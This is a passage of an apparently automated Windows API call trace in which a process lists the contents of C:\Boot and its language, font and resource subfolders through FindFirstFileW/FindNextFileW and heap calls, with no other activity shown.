nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0101.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.488] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290380 [0101.548] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.548] FindNextFileW (in: hFindFile=0x4290380, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.548] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0101.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0101.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0101.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0101.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0101.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0101.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.549] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0101.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.550] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0101.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.550] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0101.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.550] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0102.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.923] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0102.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.923] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0102.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.923] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0102.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.924] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0102.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.924] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0102.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.925] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0102.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.925] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0102.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.926] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0102.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.926] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0102.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.927] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0102.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.928] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0102.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.928] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0102.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.931] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0102.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0102.948] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0103.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.024] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0103.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.024] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0103.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b3448 | out: hHeap=0x5c0000) returned 1 [0103.026] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0103.026] FindClose (in: hFindFile=0x4290540 | out: hFindFile=0x4290540) returned 1 [0103.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.027] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0103.363] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.363] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0103.363] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.363] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0103.363] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.363] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0103.363] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.363] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0103.364] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.364] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0103.364] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.388] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0103.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.388] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0103.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.389] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0103.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.389] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x20, 